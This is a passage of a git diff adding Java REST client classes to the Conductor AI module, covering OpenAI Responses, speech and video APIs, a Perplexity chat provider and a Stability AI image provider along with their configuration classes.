{@code summary} (values like {@code "auto"}, {@code "concise"}, {@code "detailed"}) is + * required to receive human-readable chain-of-thought summaries on reasoning items in the + * response — without it, reasoning items carry no summary text. + */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Reasoning(String effort, String summary) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ResponseRequest( + String model, + Object input, // String or List + String instructions, + List tools, + @JsonProperty("previous_response_id") String previousResponseId, + Double temperature, + @JsonProperty("top_p") Double topP, + @JsonProperty("max_output_tokens") Integer maxOutputTokens, + Reasoning reasoning, + TextFormat text, + @JsonProperty("tool_choice") Object toolChoice, + Boolean store) { + + public static Builder builder() { + return new Builder(); + } + + public ResponseRequest withoutTemperature() { + return new ResponseRequest( + model, + input, + instructions, + tools, + previousResponseId, + null, + topP, + maxOutputTokens, + reasoning, + text, + toolChoice, + store); + } + + public static class Builder { + private String model; + private Object input; + private String instructions; + private List tools; + private String previousResponseId; + private Double temperature; + private Double topP; + private Integer maxOutputTokens; + private String reasoningEffort; + private String reasoningSummary; + private TextFormat text; + private Object toolChoice; + private Boolean store; + + public Builder model(String model) { + this.model = model; + return this; + } + + public Builder input(Object input) { + this.input = input; + return this; + } + + public Builder instructions(String instructions) { + this.instructions = instructions; + return this; + } + + public Builder tools(List tools) { + this.tools = tools; + return this; + } + + public Builder previousResponseId(String previousResponseId) { + this.previousResponseId = previousResponseId; + return this; + } + + public Builder temperature(Double temperature) { + this.temperature = temperature; + return this; + } + + public Builder topP(Double topP) { + this.topP = topP; + return this; + } + + public Builder maxOutputTokens(Integer maxOutputTokens) { + this.maxOutputTokens = maxOutputTokens; + return this; + } + + public Builder reasoningEffort(String reasoningEffort) { + // Public API stays a flat String for caller convenience; + // the request body is serialized via the nested ``Reasoning`` + // record so OpenAI's Responses API sees ``reasoning.effort``. + this.reasoningEffort = reasoningEffort; + return this; + } + + public Builder reasoningSummary(String reasoningSummary) { + // OpenAI emits chain-of-thought summary text on reasoning + // items only when ``reasoning.summary`` is set on the request + // (e.g. "auto", "concise", "detailed"). Without this, the + // response's reasoning items carry no summary text. + this.reasoningSummary = reasoningSummary; + return this; + } + + public Builder text(TextFormat text) { + this.text = text; + return this; + } + + public Builder toolChoice(Object toolChoice) { + this.toolChoice = toolChoice; + return this; + } + + public Builder store(Boolean store) { + this.store = store; + return this; + } + + public ResponseRequest build() { + boolean hasEffort = reasoningEffort != null && !reasoningEffort.isBlank(); + boolean hasSummary = reasoningSummary != null && !reasoningSummary.isBlank(); + Reasoning reasoning = + (hasEffort || hasSummary) + ? new Reasoning( + hasEffort ? reasoningEffort : null, + hasSummary ? reasoningSummary : null) + : null; + // OpenAI's Responses API rejects an empty-string previous_response_id + // with HTTP 400 ("Invalid 'previous_response_id': ''"). Normalize + // blank to null so the field gets omitted from the wire payload. + String normalizedPrevRespId = + (previousResponseId != null && !previousResponseId.isBlank()) + ? previousResponseId + : null; + return new ResponseRequest( + model, + input, + instructions, + tools, + normalizedPrevRespId, + temperature, + topP, + maxOutputTokens, + reasoning, + text, + toolChoice, + store); + } + } + } + + /** Input item for the Responses API input array. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record InputItem( + String type, // "message", "function_call", "function_call_output" + String role, // "user", "assistant", "system" + Object content, // String or List + String id, + @JsonProperty("call_id") String callId, + String name, + String arguments, + String output, + String status) { + + public static InputItem userMessage(String text) { + return new InputItem("message", "user", text, null, null, null, null, null, null); + } + + public static InputItem userMessage(List parts) { + return new InputItem("message", "user", parts, null, null, null, null, null, null); + } + + public static InputItem assistantMessage(String text) { + List content = List.of(ContentPart.outputText(text)); + return new InputItem( + "message", "assistant", content, null, null, null, null, null, null); + } + + public static InputItem functionCall(String callId, String name, String arguments) { + return new InputItem( + "function_call", null, null, null, callId, name, arguments, null, null); + } + + public static InputItem functionCallOutput(String callId, String outputJson) { + return new InputItem( + "function_call_output", null, null, null, callId, null, null, outputJson, null); + } + } + + /** Content part within a message. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ContentPart( + String type, // "input_text", "input_image", "output_text" + String text, + @JsonProperty("image_url") String imageUrl, + List annotations) { + + public static ContentPart inputText(String text) { + return new ContentPart("input_text", text, null, null); + } + + public static ContentPart outputText(String text) { + return new ContentPart("output_text", text, null, List.of()); + } + + public static ContentPart inputImage(String url) { + return new ContentPart("input_image", null, url, null); + } + } + + /** Tool definition for the Responses API. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Tool( + String type, // "function", "web_search", "code_interpreter", "file_search" + String name, + String description, + Object parameters, // JSON Schema object for function tools + Object container, // for code_interpreter + @JsonProperty("vector_store_ids") List vectorStoreIds // for file_search + ) { + + public static Tool function(String name, String description, Object parameters) { + return new Tool("function", name, description, parameters, null, null); + } + + public static Tool webSearch() { + return new Tool("web_search", null, null, null, null, null); + } + + public static Tool codeInterpreter() { + return new Tool("code_interpreter", null, null, null, Map.of("type", "auto"), null); + } + + public static Tool fileSearch(List vectorStoreIds) { + return new Tool("file_search", null, null, null, null, vectorStoreIds); + } + } + + /** Text format configuration (for JSON mode). */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record TextFormat(Format format) { + + public static TextFormat jsonObject() { + return new TextFormat(new Format("json_object", null)); + } + + public static TextFormat jsonSchema(Object schema) { + return new TextFormat(new Format("json_schema", schema)); + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Format(String type, Object schema) {} + } + + // -- Response DTOs -- + + @JsonIgnoreProperties(ignoreUnknown = true) + public record ResponseResult( + String id, + String object, + String model, + String status, + List output, + @JsonProperty("output_text") String outputText, + Usage usage, + @JsonProperty("previous_response_id") String previousResponseId, + @JsonProperty("reasoning_effort") String reasoningEffort, + @JsonProperty("incomplete_details") Object incompleteDetails, + Object error) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record OutputItem( + String type, // "message", "function_call", "reasoning" + String id, + String role, + List content, + String status, + // function_call fields + @JsonProperty("call_id") String callId, + String name, + String arguments, + // reasoning item: list of chain-of-thought summary blocks the model + // emitted while thinking. Populated only when the request set + // ``reasoning.summary``. Surfaced via ChatResponseMetadata so + // downstream consumers can render it separately from the final + // message. + List summary) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record ReasoningSummary(String type, String text) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record OutputContent( + String type, // "output_text" + String text, + List annotations) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record Usage( + @JsonProperty("input_tokens") Integer inputTokens, + @JsonProperty("output_tokens") Integer outputTokens, + @JsonProperty("total_tokens") Integer totalTokens, + @JsonProperty("output_tokens_details") OutputTokensDetails outputTokensDetails) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record OutputTokensDetails(@JsonProperty("reasoning_tokens") Integer reasoningTokens) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAISpeechApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAISpeechApi.java new file mode 100644 index 0000000..f9220a4 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAISpeechApi.java @@ -0,0 +1,99 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai.api; + +import java.io.IOException; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * OkHttp REST client for the OpenAI Text-to-Speech API (POST /v1/audio/speech). + * + *

Supports both OpenAI and Azure OpenAI endpoints. + */ +@Slf4j +public class OpenAISpeechApi { + + private static final MediaType JSON = MediaType.parse("application/json"); + + private final String baseUrl; + private final String authHeaderName; + private final String authHeaderValue; + private final OkHttpClient httpClient; + private final ObjectMapper objectMapper; + + public OpenAISpeechApi( + OkHttpClient httpClient, String apiKey, String baseUrl, boolean azureAuth) { + this.baseUrl = baseUrl != null ? baseUrl : "https://api.openai.com/v1"; + this.authHeaderName = azureAuth ? "api-key" : "Authorization"; + this.authHeaderValue = azureAuth ? apiKey : "Bearer " + apiKey; + this.httpClient = httpClient; + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + public OpenAISpeechApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this(httpClient, apiKey, baseUrl, false); + } + + /** + * Generate speech audio from text. + * + * @param request Speech request parameters + * @return Raw audio bytes in the requested format + */ + public byte[] createSpeech(SpeechRequest request) throws IOException { + String jsonBody = objectMapper.writeValueAsString(request); + + Request httpRequest = + new Request.Builder() + .url(baseUrl + "/audio/speech") + .header(authHeaderName, authHeaderValue) + .header("Content-Type", "application/json") + .post(RequestBody.create(jsonBody, JSON)) + .build(); + + try (Response response = httpClient.newCall(httpRequest).execute()) { + if (!response.isSuccessful()) { + ResponseBody body = response.body(); + String errorBody = body != null ? body.string() : ""; + throw new IOException( + "Speech API failed with status %d: %s" + .formatted(response.code(), errorBody)); + } + ResponseBody body = response.body(); + if (body == null) { + throw new IOException("Speech API returned empty body"); + } + return body.bytes(); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record SpeechRequest( + String model, + String input, + String voice, + @JsonProperty("response_format") String responseFormat, + Double speed) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIVideoApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIVideoApi.java new file mode 100644 index 0000000..df705be --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIVideoApi.java @@ -0,0 +1,277 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai.api; + +import java.io.IOException; +import java.io.InputStream; +import java.util.concurrent.TimeUnit; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MediaType; +import okhttp3.MultipartBody; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * Low-level REST client for the OpenAI Video (Sora) API using OkHttp. + * + *

Endpoints: + * + *

    + *
  • POST /v1/videos (multipart/form-data) - Submit a video generation job + *
  • GET /v1/videos/{id} (JSON) - Poll job status + *
  • GET /v1/videos/{id}/content (binary) - Download completed MP4 + *
  • GET /v1/videos/{id}/content?variant=thumbnail (binary) - Download thumbnail + *
+ * + * @see OpenAI Video Generation + * Guide + */ +@Slf4j +public class OpenAIVideoApi { + + private final String apiKey; + private final String baseUrl; + private final OkHttpClient httpClient; + private final ObjectMapper objectMapper; + + public OpenAIVideoApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this.apiKey = apiKey; + this.baseUrl = baseUrl != null ? baseUrl : "https://api.openai.com"; + // Video downloads take several minutes; override timeouts while sharing pool/dispatcher. + this.httpClient = + httpClient + .newBuilder() + .connectTimeout(120, TimeUnit.SECONDS) + .readTimeout(5, TimeUnit.MINUTES) + .followRedirects(true) + // writeTimeout inherited from shared client (default 60s is sufficient for + // form upload) + .build(); + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + /** + * Submit a video generation job via multipart/form-data POST. + * + * @param params The video creation parameters + * @return The initial job status with id and status fields + */ + public VideoStatusResponse submitVideoJob(VideoCreateParams params) throws IOException { + MultipartBody.Builder bodyBuilder = + new MultipartBody.Builder() + .setType(MultipartBody.FORM) + .addFormDataPart("prompt", params.prompt()) + .addFormDataPart("model", params.model()); + + if (params.size() != null) { + bodyBuilder.addFormDataPart("size", params.size()); + } + if (params.seconds() != null) { + bodyBuilder.addFormDataPart("seconds", params.seconds()); + } + + // Optional image reference (file upload) + if (params.inputReference() != null && params.inputReference().length > 0) { + String mimeType = + params.inputReferenceMimeType() != null + ? params.inputReferenceMimeType() + : "image/jpeg"; + String ext = extensionForMimeType(mimeType); + RequestBody fileBody = + RequestBody.create(params.inputReference(), MediaType.parse(mimeType)); + bodyBuilder.addFormDataPart("input_reference", "input." + ext, fileBody); + } + + Request request = + new Request.Builder() + .url(baseUrl + "/v1/videos") + .header("Authorization", "Bearer " + apiKey) + .post(bodyBuilder.build()) + .build(); + + try (Response response = httpClient.newCall(request).execute()) { + String responseBody = readResponseBody(response); + if (!response.isSuccessful()) { + throw new IOException( + "OpenAI Video API submit failed with status %d: %s" + .formatted(response.code(), responseBody)); + } + return objectMapper.readValue(responseBody, VideoStatusResponse.class); + } + } + + /** + * Poll the status of a video generation job. + * + * @param videoId The video job ID + * @return Current status including progress percentage + */ + public VideoStatusResponse getVideoStatus(String videoId) throws IOException { + Request request = + new Request.Builder() + .url(baseUrl + "/v1/videos/" + videoId) + .header("Authorization", "Bearer " + apiKey) + .get() + .build(); + + try (Response response = httpClient.newCall(request).execute()) { + String responseBody = readResponseBody(response); + if (!response.isSuccessful()) { + throw new IOException( + "OpenAI Video API status check failed with status %d: %s" + .formatted(response.code(), responseBody)); + } + return objectMapper.readValue(responseBody, VideoStatusResponse.class); + } + } + + /** + * Download the completed video as a streaming InputStream. The caller is responsible for + * closing the returned stream. + * + *

Note: The underlying OkHttp response is not auto-closed here since the caller needs to + * consume the stream. The stream wrapper closes the response when the stream is closed. + * + * @param videoId The video job ID + * @return InputStream of the MP4 binary data + */ + public InputStream downloadVideoStream(String videoId) throws IOException { + Request request = + new Request.Builder() + .url(baseUrl + "/v1/videos/" + videoId + "/content") + .header("Authorization", "Bearer " + apiKey) + .get() + .build(); + + // Do not use try-with-resources here: the caller owns the stream lifecycle + Response response = httpClient.newCall(request).execute(); + if (!response.isSuccessful()) { + String errorBody = readResponseBody(response); + response.close(); + throw new IOException( + "OpenAI Video download failed with status %d: %s" + .formatted(response.code(), errorBody)); + } + + ResponseBody body = response.body(); + if (body == null) { + response.close(); + throw new IOException("OpenAI Video download returned empty body"); + } + return body.byteStream(); + } + + /** + * Download the completed video as a byte array. + * + * @param videoId The video job ID + * @return byte array of the MP4 binary data + */ + public byte[] downloadVideo(String videoId) throws IOException { + Request request = + new Request.Builder() + .url(baseUrl + "/v1/videos/" + videoId + "/content") + .header("Authorization", "Bearer " + apiKey) + .get() + .build(); + + try (Response response = httpClient.newCall(request).execute()) { + if (!response.isSuccessful()) { + throw new IOException( + "OpenAI Video download failed with status %d".formatted(response.code())); + } + ResponseBody body = response.body(); + if (body == null) { + throw new IOException("OpenAI Video download returned empty body"); + } + return body.bytes(); + } + } + + /** + * Download the thumbnail for a completed video. + * + * @param videoId The video job ID + * @return byte array of the thumbnail image (webp format) + */ + public byte[] downloadThumbnail(String videoId) throws IOException { + Request request = + new Request.Builder() + .url(baseUrl + "/v1/videos/" + videoId + "/content?variant=thumbnail") + .header("Authorization", "Bearer " + apiKey) + .get() + .build(); + + try (Response response = httpClient.newCall(request).execute()) { + if (!response.isSuccessful()) { + throw new IOException( + "OpenAI Video thumbnail download failed with status %d" + .formatted(response.code())); + } + ResponseBody body = response.body(); + if (body == null) { + throw new IOException("OpenAI Video thumbnail download returned empty body"); + } + return body.bytes(); + } + } + + // -- Helpers -- + + /** Safely read the response body as a string, returning empty string if body is null. */ + private String readResponseBody(Response response) throws IOException { + ResponseBody body = response.body(); + return body != null ? body.string() : ""; + } + + /** Map a MIME type to a file extension for the multipart upload filename. */ + private String extensionForMimeType(String mimeType) { + return switch (mimeType) { + case "image/png" -> "png"; + case "image/webp" -> "webp"; + default -> "jpg"; + }; + } + + // -- DTOs -- + + /** Parameters for creating a video generation job. */ + public record VideoCreateParams( + String prompt, + String model, + String size, + String seconds, + byte[] inputReference, + String inputReferenceMimeType) {} + + /** Response from video status and creation endpoints. */ + @JsonIgnoreProperties(ignoreUnknown = true) + public record VideoStatusResponse( + String id, + String object, + @JsonProperty("created_at") Long createdAt, + String status, + String model, + Integer progress, + String seconds, + String size) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAI.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAI.java new file mode 100644 index 0000000..0d60c5e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAI.java @@ -0,0 +1,82 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.perplexity; + +import java.util.List; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.providers.openai.OpenAICompatChatModel; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.model.tool.ToolCallingChatOptions; + +import okhttp3.OkHttpClient; + +public class PerplexityAI implements AIModel { + + public static final String NAME = "perplexity"; + private final PerplexityAIConfiguration config; + private final OpenAICompatChatModel chatModel; + + public PerplexityAI(PerplexityAIConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public PerplexityAI(PerplexityAIConfiguration config, OkHttpClient httpClient) { + this.config = config; + OpenAIChatCompletionsApi api = + new OpenAIChatCompletionsApi( + httpClient, config.getApiKey(), config.getBaseURL(), "/chat/completions"); + this.chatModel = new OpenAICompatChatModel(api); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + throw new UnsupportedOperationException("Not supported"); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + return ToolCallingChatOptions.builder() + .model(input.getModel()) + .maxTokens(input.getMaxTokens()) + .topP(input.getTopP()) + .temperature(input.getTemperature()) + .toolCallbacks(getToolCallback(input)) + .internalToolExecutionEnabled(false) + .frequencyPenalty(input.getFrequencyPenalty()) + .topK(input.getTopK()) + .presencePenalty(input.getPresencePenalty()) + .build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfiguration.java new file mode 100644 index 0000000..e6064e4 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfiguration.java @@ -0,0 +1,58 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.perplexity; + +import java.time.Duration; +import java.util.Objects; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@NoArgsConstructor +@Component +@ConfigurationProperties(prefix = "conductor.ai.perplexity") +public class PerplexityAIConfiguration implements ModelConfiguration { + private String apiKey; + private String baseURL; + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public PerplexityAIConfiguration(String apiKey, String baseURL, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return Objects.isNull(baseURL) ? "https://api.perplexity.ai/" : baseURL; + } + + @Override + public PerplexityAI get() { + return new PerplexityAI(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAI.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAI.java new file mode 100644 index 0000000..bc45e87 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAI.java @@ -0,0 +1,212 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.stabilityai; + +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.image.Image; +import org.springframework.ai.image.ImageGeneration; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.image.ImageOptions; +import org.springframework.ai.image.ImagePrompt; +import org.springframework.ai.image.ImageResponse; + +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +/** + * Stability AI provider for image generation using the v2beta REST API. + * + *

Supports the following models via different v2beta endpoints: + * + *

    + *
  • SD3 models ({@code sd3.5-large}, {@code sd3.5-large-turbo}, {@code sd3.5-medium}, + * {@code sd3-large}, {@code sd3-large-turbo}, {@code sd3-medium}) - via {@code + * /v2beta/stable-image/generate/sd3} + *
  • Core ({@code core}) - Fast, affordable generation via {@code + * /v2beta/stable-image/generate/core} + *
  • Ultra ({@code ultra}) - Highest quality via {@code + * /v2beta/stable-image/generate/ultra} + *
+ * + *

This provider implements its own REST client ({@link StabilityAiApi}) that calls the v2beta + * API directly, replacing Spring AI's built-in {@code StabilityAiImageModel} which targets the + * retired v1 API. + * + *

Only image generation is supported. Chat, embeddings, audio, and video are not available. + * + *

Configure with {@code conductor.ai.stabilityai.apiKey} in application properties or set the + * {@code STABILITY_API_KEY} environment variable. + */ +@Slf4j +public class StabilityAI implements AIModel { + + public static final String NAME = "stabilityai"; + + private final StabilityAiApi api; + + /** + * Custom ImageModel implementation that bridges Spring AI's ImageModel interface to the + * Stability AI v2beta API. + * + *

This adapter receives Spring AI's ImagePrompt/ImageOptions and translates them into + * StabilityAiApi.ImageCreateParams for the v2beta multipart request. The raw image bytes + * returned by the API are base64-encoded and wrapped in Spring AI's ImageResponse. + */ + private final ImageModel imageModel; + + public StabilityAI(StabilityAIConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public StabilityAI(StabilityAIConfiguration config, OkHttpClient httpClient) { + this.api = new StabilityAiApi(httpClient, config.getApiKey(), null); + + // Create an ImageModel adapter that delegates to our v2beta API client. + // The adapter translates Spring AI's ImagePrompt into StabilityAiApi calls, + // and wraps the raw image bytes into Spring AI's ImageResponse format. + this.imageModel = + (ImagePrompt prompt) -> { + try { + // Extract the text prompt from the first message + String textPrompt = + prompt.getInstructions().stream() + .findFirst() + .map(msg -> msg.getText()) + .orElseThrow( + () -> + new IllegalArgumentException( + "Image prompt must contain at least one message")); + + // Extract options from the prompt + ImageOptions options = prompt.getOptions(); + String model = options != null ? options.getModel() : "sd3.5-large"; + String style = options != null ? options.getStyle() : null; + + // Determine aspect ratio from width/height if provided + String aspectRatio = deriveAspectRatio(options); + + // Build the API request + StabilityAiApi.ImageCreateParams params = + new StabilityAiApi.ImageCreateParams( + textPrompt, + model, + "png", + aspectRatio, + null, // negativePrompt (not exposed via ImageOptions) + null, // seed + style); + + // Call the v2beta API + StabilityAiApi.ImageResult result = api.generateImage(params); + + // Wrap raw bytes as base64 in Spring AI's response format + String b64 = Base64.getEncoder().encodeToString(result.imageBytes()); + Image image = new Image(null, b64); + ImageGeneration generation = new ImageGeneration(image); + + return new ImageResponse(List.of(generation)); + } catch (Exception e) { + throw new RuntimeException( + "Stability AI image generation failed: " + e.getMessage(), e); + } + }; + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public ImageModel getImageModel() { + return this.imageModel; + } + + @Override + public ImageOptions getImageOptions(ImageGenRequest input) { + // Build standard ImageOptions. The model field controls endpoint routing + // in our StabilityAiApi (sd3 vs core vs ultra). + return org.springframework.ai.image.ImageOptionsBuilder.builder() + .model(input.getModel()) + .N(input.getN()) + .height(input.getHeight()) + .width(input.getWidth()) + .responseFormat("b64_json") + .style(input.getStyle()) + .build(); + } + + @Override + public ChatModel getChatModel() { + throw new UnsupportedOperationException( + "Chat completion is not supported by the Stability AI provider"); + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + throw new UnsupportedOperationException( + "Embeddings are not supported by the Stability AI provider"); + } + + /** + * Derive an aspect ratio string from width/height in ImageOptions. + * + *

The v2beta API accepts aspect ratios like "1:1", "16:9", "9:16", "3:2", "2:3", "4:5", + * "5:4", "21:9", "9:21". If width and height are both provided, we compute the closest matching + * ratio. If not provided, defaults to "1:1". + */ + private static String deriveAspectRatio(ImageOptions options) { + if (options == null || options.getWidth() == null || options.getHeight() == null) { + return "1:1"; + } + int w = options.getWidth(); + int h = options.getHeight(); + if (w <= 0 || h <= 0) { + return "1:1"; + } + double ratio = (double) w / h; + + // Map to the closest supported aspect ratio + // Supported: 1:1 (1.0), 16:9 (1.78), 9:16 (0.56), 3:2 (1.5), 2:3 (0.67), + // 4:5 (0.8), 5:4 (1.25), 21:9 (2.33), 9:21 (0.43) + double[][] ratios = { + {1.0, 1, 1}, + {1.78, 16, 9}, + {0.56, 9, 16}, + {1.5, 3, 2}, + {0.67, 2, 3}, + {0.8, 4, 5}, + {1.25, 5, 4}, + {2.33, 21, 9}, + {0.43, 9, 21} + }; + + double bestDist = Double.MAX_VALUE; + String bestRatio = "1:1"; + for (double[] r : ratios) { + double dist = Math.abs(ratio - r[0]); + if (dist < bestDist) { + bestDist = dist; + bestRatio = (int) r[1] + ":" + (int) r[2]; + } + } + return bestRatio; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAIConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAIConfiguration.java new file mode 100644 index 0000000..7cb582a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAIConfiguration.java @@ -0,0 +1,56 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.stabilityai; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +/** + * Configuration for the Stability AI image generation provider. + * + *

